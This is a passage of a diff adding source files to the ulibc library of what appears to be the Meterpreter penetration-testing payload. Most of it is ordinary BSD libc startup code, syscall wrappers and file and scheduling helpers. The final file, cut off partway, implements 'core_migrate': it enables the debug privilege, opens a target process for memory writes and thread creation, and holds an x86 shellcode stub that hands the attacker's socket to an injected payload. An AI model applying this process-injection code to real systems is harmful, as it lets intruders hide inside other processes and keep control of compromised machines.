||||
#define PSEUDO(x) 2: PIC_PROLOGUE; jmp PIC_PLT(HIDENAME(cerror)); \
|
||||
ENTRY(__CONCAT(__sys_,x)); \
|
||||
.weak CNAME(__CONCAT(_,x)); \
|
||||
.set CNAME(__CONCAT(_,x)),CNAME(__CONCAT(__sys_,x)); \
|
||||
mov __CONCAT($SYS_,x),%eax; KERNCALL; jb 2b; ret; \
|
||||
END(__CONCAT(__sys_,x))
|
||||
|
||||
/* gas messes up offset -- although we don't currently need it, do for BCS */
|
||||
#define LCALL(x,y) .byte 0x9a ; .long y; .word x
|
||||
|
||||
#define KERNCALL int $0x80
|
15
c/meterpreter/source/ulibc/arch/bsd/i386/arith.h
Normal file
15
c/meterpreter/source/ulibc/arch/bsd/i386/arith.h
Normal file
@ -0,0 +1,15 @@
|
||||
/*
|
||||
* MD header for contrib/gdtoa
|
||||
*
|
||||
* $FreeBSD: head/lib/libc/i386/arith.h 114839 2003-05-08 13:50:44Z das $
|
||||
*/
|
||||
|
||||
/*
|
||||
* NOTE: The definitions in this file must be correct or strtod(3) and
|
||||
* floating point formats in printf(3) will break! The file can be
|
||||
* generated by running contrib/gdtoa/arithchk.c on the target
|
||||
* architecture. See contrib/gdtoa/gdtoaimp.h for details.
|
||||
*/
|
||||
|
||||
#define IEEE_8087
|
||||
#define Arith_Kind_ASL 1
|
65
c/meterpreter/source/ulibc/arch/bsd/i386/cerror.S
Normal file
65
c/meterpreter/source/ulibc/arch/bsd/i386/cerror.S
Normal file
@ -0,0 +1,65 @@
|
||||
/*-
|
||||
* Copyright (c) 1990 The Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* William Jolitz.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(SYSLIBC_SCCS) && !defined(lint)
|
||||
.asciz "@(#)cerror.s 5.1 (Berkeley) 4/23/90"
|
||||
#endif /* SYSLIBC_SCCS and not lint */
|
||||
#include <machine/asm.h>
|
||||
__FBSDID("$FreeBSD: head/lib/libc/i386/sys/cerror.S 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include "SYS.h"
|
||||
|
||||
.globl HIDENAME(cerror)
|
||||
|
||||
/*
|
||||
* The __error() function is thread aware. For non-threaded
|
||||
* programs and the initial threaded in threaded programs,
|
||||
* it returns a pointer to the global errno variable.
|
||||
*/
|
||||
.globl CNAME(__error)
|
||||
.type CNAME(__error),@function
|
||||
HIDENAME(cerror):
|
||||
pushl %eax
|
||||
#ifdef PIC
|
||||
/* The caller must execute the PIC prologue before jumping to cerror. */
|
||||
call PIC_PLT(CNAME(__error))
|
||||
popl %ecx
|
||||
PIC_EPILOGUE
|
||||
#else
|
||||
call CNAME(__error)
|
||||
popl %ecx
|
||||
#endif
|
||||
movl %ecx,(%eax)
|
||||
movl $-1,%eax
|
||||
movl $-1,%edx
|
||||
ret
|
||||
|
113
c/meterpreter/source/ulibc/arch/bsd/i386/crt1.c
Normal file
113
c/meterpreter/source/ulibc/arch/bsd/i386/crt1.c
Normal file
@ -0,0 +1,113 @@
|
||||
/* LINTLIBRARY */
|
||||
/*-
|
||||
* Copyright 1996-1998 John D. Polstra.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef lint
|
||||
#ifndef __GNUC__
|
||||
#error "GCC is needed to compile this file"
|
||||
#endif
|
||||
#endif /* lint */
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "libc_private.h"
|
||||
#include "crtbrand.c"
|
||||
|
||||
extern int _DYNAMIC;
|
||||
#pragma weak _DYNAMIC
|
||||
|
||||
typedef void (*fptr)(void);
|
||||
|
||||
extern void _fini(void);
|
||||
extern void _init(void);
|
||||
extern int main(int, char **, char **);
|
||||
extern void _start(char *, ...);
|
||||
|
||||
#ifdef GCRT
|
||||
extern void _mcleanup(void);
|
||||
extern void monstartup(void *, void *);
|
||||
extern int eprol;
|
||||
extern int etext;
|
||||
#endif
|
||||
|
||||
char **environ;
|
||||
const char *__progname = "";
|
||||
|
||||
static __inline fptr
|
||||
get_rtld_cleanup(void)
|
||||
{
|
||||
fptr retval;
|
||||
|
||||
#ifdef __GNUC__
|
||||
__asm__("movl %%edx,%0" : "=rm"(retval));
|
||||
#else
|
||||
retval = (fptr)0; /* XXXX Fix this for other compilers */
|
||||
#endif
|
||||
return(retval);
|
||||
}
|
||||
|
||||
/* The entry function. */
|
||||
void
|
||||
_start(char *ap, ...)
|
||||
{
|
||||
fptr cleanup;
|
||||
int argc;
|
||||
char **argv;
|
||||
char **env;
|
||||
const char *s;
|
||||
|
||||
#ifdef __GNUC__
|
||||
__asm__("and $0xfffffff0,%esp");
|
||||
#endif
|
||||
cleanup = get_rtld_cleanup();
|
||||
argv = ≈
|
||||
argc = *(long *)(void *)(argv - 1);
|
||||
env = argv + argc + 1;
|
||||
environ = env;
|
||||
if (argc > 0 && argv[0] != NULL) {
|
||||
__progname = argv[0];
|
||||
for (s = __progname; *s != '\0'; s++)
|
||||
if (*s == '/')
|
||||
__progname = s + 1;
|
||||
}
|
||||
|
||||
if (&_DYNAMIC != NULL)
|
||||
atexit(cleanup);
|
||||
else
|
||||
_init_tls();
|
||||
|
||||
#ifdef GCRT
|
||||
atexit(_mcleanup);
|
||||
#endif
|
||||
atexit(_fini);
|
||||
#ifdef GCRT
|
||||
monstartup(&eprol, &etext);
|
||||
__asm__("eprol:");
|
||||
#endif
|
||||
_init();
|
||||
exit( main(argc, argv, env) );
|
||||
}
|
||||
|
||||
__asm__(".ident\t\"$FreeBSD: head/lib/csu/i386-elf/crt1.c 151072 2005-10-07 22:13:17Z bde $\"");
|
41
c/meterpreter/source/ulibc/arch/bsd/i386/crti.S
Normal file
41
c/meterpreter/source/ulibc/arch/bsd/i386/crti.S
Normal file
@ -0,0 +1,41 @@
|
||||
/*-
|
||||
* Copyright 1996, 1997, 1998, 2000 John D. Polstra.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
.section .init,"ax",@progbits
|
||||
.align 4
|
||||
.globl _init
|
||||
.type _init,@function
|
||||
_init:
|
||||
sub $12,%esp /* re-align stack pointer */
|
||||
|
||||
.section .fini,"ax",@progbits
|
||||
.align 4
|
||||
.globl _fini
|
||||
.type _fini,@function
|
||||
_fini:
|
||||
sub $12,%esp /* re-align stack pointer */
|
||||
|
||||
.section .rodata
|
||||
.ascii "$FreeBSD: head/lib/csu/i386-elf/crti.S 146369 2005-05-19 07:31:06Z dfr $\0"
|
35
c/meterpreter/source/ulibc/arch/bsd/i386/crtn.S
Normal file
35
c/meterpreter/source/ulibc/arch/bsd/i386/crtn.S
Normal file
@ -0,0 +1,35 @@
|
||||
/*-
|
||||
* Copyright 1996, 1997, 1998, 2000 John D. Polstra.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
.section .init,"ax",@progbits
|
||||
add $12,%esp
|
||||
ret
|
||||
|
||||
.section .fini,"ax",@progbits
|
||||
add $12,%esp
|
||||
ret
|
||||
|
||||
.section .rodata
|
||||
.ascii "$FreeBSD: head/lib/csu/i386-elf/crtn.S 146369 2005-05-19 07:31:06Z dfr $\0"
|
28
c/meterpreter/source/ulibc/arch/bsd/syscalls.S
Normal file
28
c/meterpreter/source/ulibc/arch/bsd/syscalls.S
Normal file
@ -0,0 +1,28 @@
|
||||
#include "SYS.h"
|
||||
|
||||
|
||||
|
||||
RSYSCALL(close)
|
||||
RSYSCALL(connect)
|
||||
RSYSCALL(exit)
|
||||
RSYSCALL(fstat)
|
||||
RSYSCALL(gettimeofday)
|
||||
RSYSCALL(getdtablesize)
|
||||
RSYSCALL(getpid)
|
||||
RSYSCALL(getuid)
|
||||
RSYSCALL(ioctl)
|
||||
RSYSCALL(lseek)
|
||||
RSYSCALL(mmap)
|
||||
RSYSCALL(munmap)
|
||||
RSYSCALL(madvise)
|
||||
RSYSCALL(open)
|
||||
RSYSCALL(poll)
|
||||
RSYSCALL(read)
|
||||
RSYSCALL(select)
|
||||
RSYSCALL(socket)
|
||||
/*
|
||||
* RSYSCALL(sysctl)
|
||||
* this screws up PIE for some reason
|
||||
*/
|
||||
RSYSCALL(write)
|
||||
|
8
c/meterpreter/source/ulibc/arch/posix/base_dispatch.c
Normal file
8
c/meterpreter/source/ulibc/arch/posix/base_dispatch.c
Normal file
@ -0,0 +1,8 @@
|
||||
#include "common.h"
|
||||
|
||||
DWORD
|
||||
remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||
{
|
||||
return (EOPNOTSUPP);
|
||||
}
|
||||
|
62
c/meterpreter/source/ulibc/arch/posix/buffer.c
Normal file
62
c/meterpreter/source/ulibc/arch/posix/buffer.c
Normal file
@ -0,0 +1,62 @@
|
||||
#include <fcntl.h>
|
||||
#include "common.h"
|
||||
|
||||
DWORD
|
||||
buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length)
|
||||
{
|
||||
int fd, res = 0;
|
||||
off_t size;
|
||||
char *buf = NULL;
|
||||
|
||||
if ((fd = open(filePath, O_RDONLY)) < 0) {
|
||||
res = errno;
|
||||
return (res);
|
||||
}
|
||||
/*
|
||||
* find the end
|
||||
*/
|
||||
if ((size = lseek(fd, 0, SEEK_END)) < 0) {
|
||||
res = errno;
|
||||
goto done;
|
||||
}
|
||||
if ((res = lseek(fd, 0, SEEK_SET)) < 0) {
|
||||
res = errno;
|
||||
goto done;
|
||||
}
|
||||
if ((buf = malloc(size)) == NULL) {
|
||||
res = ENOMEM;
|
||||
goto done;
|
||||
}
|
||||
if (read(fd, buf, size) < size) {
|
||||
res = errno;
|
||||
free(buf);
|
||||
}
|
||||
done:
|
||||
close(fd);
|
||||
if (res == 0) {
|
||||
if (buffer)
|
||||
*buffer = buf;
|
||||
else
|
||||
free(buf);
|
||||
if (length)
|
||||
*length = size;
|
||||
}
|
||||
return (res);
|
||||
}
|
||||
|
||||
DWORD
|
||||
buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length)
|
||||
{
|
||||
int fd, res = 0;
|
||||
off_t size;
|
||||
|
||||
if ((fd = open(filePath, O_CREAT|O_TRUNC|O_WRONLY, 0200)) < 0) {
|
||||
res = errno;
|
||||
return (res);
|
||||
}
|
||||
if (write(fd, buffer, length) < length)
|
||||
res = errno;
|
||||
|
||||
close(fd);
|
||||
return (res);
|
||||
}
|
20
c/meterpreter/source/ulibc/arch/posix/dl.c
Normal file
20
c/meterpreter/source/ulibc/arch/posix/dl.c
Normal file
@ -0,0 +1,20 @@
|
||||
#include "compat_types.h"
|
||||
#include "dlfcn.h"
|
||||
|
||||
#pragma weak dlopenbuf
|
||||
void *
|
||||
dlopenbuf(const char *name, int mode, char *buffer, int length)
|
||||
{
|
||||
|
||||
return (NULL);
|
||||
}
|
||||
|
||||
|
||||
#pragma weak dlsocket
|
||||
int
|
||||
dlsocket(void)
|
||||
{
|
||||
|
||||
return (-1);
|
||||
}
|
||||
|
108
c/meterpreter/source/ulibc/arch/posix/scheduler.c
Normal file
108
c/meterpreter/source/ulibc/arch/posix/scheduler.c
Normal file
@ -0,0 +1,108 @@
|
||||
#include "queue.h"
|
||||
#include "common.h"
|
||||
#include <poll.h>
|
||||
|
||||
typedef struct _WaitableEntry
|
||||
{
|
||||
HANDLE waitable;
|
||||
LPVOID context;
|
||||
WaitableNotifyRoutine routine;
|
||||
LIST_ENTRY(_WaitableEntry) link;
|
||||
} WaitableEntry;
|
||||
|
||||
int nentries = 0;
|
||||
int ntableentries = 0;
|
||||
struct pollfd *polltable;
|
||||
LIST_HEAD(_WaitableEntryHead, _WaitableEntry) WEHead;
|
||||
|
||||
/*
|
||||
* Insert a waitable object for checking and processing
|
||||
*/
|
||||
DWORD
|
||||
scheduler_insert_waitable(HANDLE waitable, LPVOID context,
|
||||
WaitableNotifyRoutine routine)
|
||||
{
|
||||
WaitableEntry *current;
|
||||
struct pollfd *polltableprev;
|
||||
|
||||
if ((current = malloc(sizeof(WaitableEntry))) == NULL)
|
||||
return (ENOMEM);
|
||||
nentries++;
|
||||
if (nentries > ntableentries) {
|
||||
polltableprev = polltable;
|
||||
polltable = malloc(nentries*sizeof(struct pollfd));
|
||||
if (polltable == NULL) {
|
||||
polltable = polltableprev;
|
||||
free(current);
|
||||
return (ENOMEM);
|
||||
} else if (polltableprev != NULL)
|
||||
free(polltableprev);
|
||||
ntableentries = nentries;
|
||||
}
|
||||
current->waitable = waitable;
|
||||
current->context = context;
|
||||
current->routine = routine;
|
||||
|
||||
LIST_INSERT_HEAD(&WEHead, current, link);
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a waitable object
|
||||
*/
|
||||
DWORD
|
||||
scheduler_remove_waitable(HANDLE waitable)
|
||||
{
|
||||
WaitableEntry *current;
|
||||
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
if (current->waitable == waitable)
|
||||
break;
|
||||
|
||||
if (current == NULL)
|
||||
return (ENOENT);
|
||||
|
||||
LIST_REMOVE(current, link);
|
||||
free(current);
|
||||
nentries--;
|
||||
return (0);
|
||||
}
|
||||
|
||||
/*
|
||||
* Runs the scheduler, checking waitable objects for data
|
||||
*/
|
||||
DWORD
|
||||
scheduler_run(Remote *remote, DWORD timeout)
|
||||
{
|
||||
WaitableEntry *current;
|
||||
int ret, i, found, idx = 0;
|
||||
|
||||
if (LIST_EMPTY(&WEHead) || polltable == NULL)
|
||||
return (ENOENT);
|
||||
|
||||
LIST_FOREACH(current, &WEHead, link) {
|
||||
polltable[idx].fd = current->waitable;
|
||||
polltable[idx].events = POLLRDNORM;
|
||||
polltable[idx].revents = 0;
|
||||
idx++;
|
||||
}
|
||||
|
||||
if ((ret = poll(polltable, idx, timeout)) == 0)
|
||||
return (ENOENT);
|
||||
|
||||
for (found = i = 0; i < idx && found < ret; i++) {
|
||||
if (polltable[i].revents) {
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
if (current->waitable == polltable[i].fd)
|
||||
break;
|
||||
ret = current->routine(remote, current->context);
|
||||
}
|
||||
}
|
||||
/*
|
||||
* return last result
|
||||
*/
|
||||
return (ret);
|
||||
}
|
||||
|
||||
|
105
c/meterpreter/source/ulibc/arch/win/buffer.c
Normal file
105
c/meterpreter/source/ulibc/arch/win/buffer.c
Normal file
@ -0,0 +1,105 @@
|
||||
#include "common.h"
|
||||
|
||||
/*
|
||||
* Parses a file into a buffer
|
||||
*/
|
||||
DWORD buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length)
|
||||
{
|
||||
DWORD res, fileSize = 0, bytesRead = 0, bytesLeft = 0, offset = 0;
|
||||
PUCHAR localBuffer = NULL;
|
||||
HANDLE h;
|
||||
|
||||
if (buffer)
|
||||
*buffer = NULL;
|
||||
if (length)
|
||||
*length = 0;
|
||||
|
||||
do
|
||||
{
|
||||
// Try to open the file for reading
|
||||
if ((h = CreateFile(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Get the size, in bytes, of the file
|
||||
if (!(fileSize = GetFileSize(h, NULL)))
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Allocate storage for the file data being read in
|
||||
if (!(localBuffer = (PUCHAR)malloc(fileSize)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
bytesLeft = fileSize;
|
||||
|
||||
// Keep reading file contents
|
||||
while ((bytesLeft) &&
|
||||
(ReadFile(h, localBuffer + offset, bytesLeft, &bytesRead, NULL)))
|
||||
{
|
||||
bytesLeft -= bytesRead;
|
||||
offset += bytesRead;
|
||||
}
|
||||
|
||||
res = ERROR_SUCCESS;
|
||||
|
||||
} while (0);
|
||||
|
||||
if (h != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(h);
|
||||
|
||||
if (res == ERROR_SUCCESS)
|
||||
{
|
||||
if (buffer)
|
||||
*buffer = localBuffer;
|
||||
if (length)
|
||||
*length = offset;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Writes a buffer to a file
|
||||
*/
|
||||
DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length)
|
||||
{
|
||||
DWORD res, offset = 0, bytesLeft = 0, bytesWritten = 0;
|
||||
HANDLE h;
|
||||
|
||||
do
|
||||
{
|
||||
// Try to open the file for writing
|
||||
if ((h = CreateFile(filePath, GENERIC_WRITE, 0, NULL, CREATE_NEW,
|
||||
FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
bytesLeft = length;
|
||||
|
||||
// Keep writing until everything is written
|
||||
while ((bytesLeft) &&
|
||||
(WriteFile(h, buffer + offset, bytesLeft, &bytesWritten, NULL)))
|
||||
{
|
||||
bytesLeft -= bytesWritten;
|
||||
offset += bytesWritten;
|
||||
}
|
||||
|
||||
res = ERROR_SUCCESS;
|
||||
|
||||
} while (0);
|
||||
|
||||
if (h != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(h);
|
||||
|
||||
return res;
|
||||
}
|
231
c/meterpreter/source/ulibc/arch/win/i386/base_dispatch.c
Normal file
231
c/meterpreter/source/ulibc/arch/win/i386/base_dispatch.c
Normal file
@ -0,0 +1,231 @@
|
||||
#include "common.h"
|
||||
|
||||
// include the PolarSSL library
|
||||
#pragma comment(lib,"polarssl.lib")
|
||||
|
||||
|
||||
/*
|
||||
* core_migrate
|
||||
* ------------
|
||||
*
|
||||
* Migrates the remote connection descriptor into the context of
|
||||
* another process and exits the current process or thread. This is
|
||||
* accomplished by duplicating the socket handle into the context
|
||||
* of another process and injecting a code stub that reads in
|
||||
* an arbitrary stage that may or may not re-initialize the
|
||||
* meterpreter server instance in the new process.
|
||||
*
|
||||
* req: TLV_TYPE_MIGRATE_PID - The process identifier to migrate into.
|
||||
*/
|
||||
|
||||
typedef struct _MigrationStubContext
|
||||
{
|
||||
LPVOID loadLibrary; // esi+0x00
|
||||
LPVOID payloadBase; // esi+0x04
|
||||
DWORD payloadLength; // esi+0x08
|
||||
LPVOID wsaStartup; // esi+0x0c
|
||||
LPVOID wsaSocket; // esi+0x10
|
||||
LPVOID recv; // esi+0x14
|
||||
LPVOID setevent; // esi+0x18
|
||||
LPVOID event; // esi+0x1c
|
||||
CHAR ws2_32[8]; // esi+0x20
|
||||
WSAPROTOCOL_INFO info; // esi+0x28
|
||||
} MigrationStubContext;
|
||||
|
||||
DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||
{
|
||||
MigrationStubContext context;
|
||||
TOKEN_PRIVILEGES privs;
|
||||
HANDLE token = NULL;
|
||||
Packet *response = packet_create_response(packet);
|
||||
HANDLE process = NULL;
|
||||
HANDLE thread = NULL;
|
||||
HANDLE event = NULL;
|
||||
LPVOID dataBase;
|
||||
LPVOID codeBase;
|
||||
DWORD threadId;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD pid;
|
||||
PUCHAR payload;
|
||||
|
||||
// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
|
||||
BYTE stub[] =
|
||||
"\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext *
|
||||
"\x89\xE5" // mov ebp,esp ; create stack frame
|
||||
"\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack
|
||||
"\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32
|
||||
"\x51" // push ecx ; push "ws2_32"
|
||||
"\xFF\x16" // call near [esi] ; call loadLibrary
|
||||
"\x54" // push esp ; push stack address
|
||||
"\x6A\x02" // push byte +0x2 ; push 2
|
||||
"\xFF\x56\x0C" // call near [esi+0xC] ; call wsaStartup
|
||||
"\x6A\x00" // push byte +0x0 ; push null
|
||||
"\x6A\x00" // push byte +0x0 ; push null
|
||||
"\x8D\x46\x28" // lea eax,[esi+0x28] ; EAX = MigrationStubContext->info
|
||||
"\x50" // push eax ; push our duplicated socket
|
||||
"\x6A\x00" // push byte +0x0 ; push null
|
||||
"\x6A\x02" // push byte +0x2 ; push 2
|
||||
"\x6A\x01" // push byte +0x1 ; push 1
|
||||
"\xFF\x56\x10" // call near [esi+0x10] ; call wsaSocket
|
||||
"\x97" // xchg eax,edi ; edi now = our duplicated socket
|
||||
"\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event
|
||||
"\xFF\x56\x18" // call near [esi+0x18] ; call setevent
|
||||
"\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase
|
||||
"\xC3"; // ret ; return into the payload
|
||||
|
||||
// Get the process identifier to inject into
|
||||
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
|
||||
|
||||
// Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer...
|
||||
context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
|
||||
|
||||
// Receive the actual migration payload (metsrv.dll + loader)
|
||||
payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
||||
|
||||
// Try to enable the debug privilege so that we can migrate into system
|
||||
// services if we're administrator.
|
||||
if (OpenProcessToken(
|
||||
GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
|
||||
&token))
|
||||
{
|
||||
privs.PrivilegeCount = 1;
|
||||
privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
|
||||
&privs.Privileges[0].Luid);
|
||||
|
||||
AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL);
|
||||
|
||||
CloseHandle(token);
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
// Open the process so that we can into it
|
||||
if (!(process = OpenProcess(
|
||||
PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION |
|
||||
PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// If the socket duplication fails...
|
||||
if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR)
|
||||
{
|
||||
result = WSAGetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Create a notification event that we'll use to know when
|
||||
// it's safe to exit (once the socket has been referenced in
|
||||
// the other process)
|
||||
if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Duplicate the event handle into the target process
|
||||
if (!DuplicateHandle(GetCurrentProcess(), event,
|
||||
process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the migration context
|
||||
context.loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");
|
||||
context.wsaStartup = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup");
|
||||
context.wsaSocket = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA");
|
||||
context.recv = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv");
|
||||
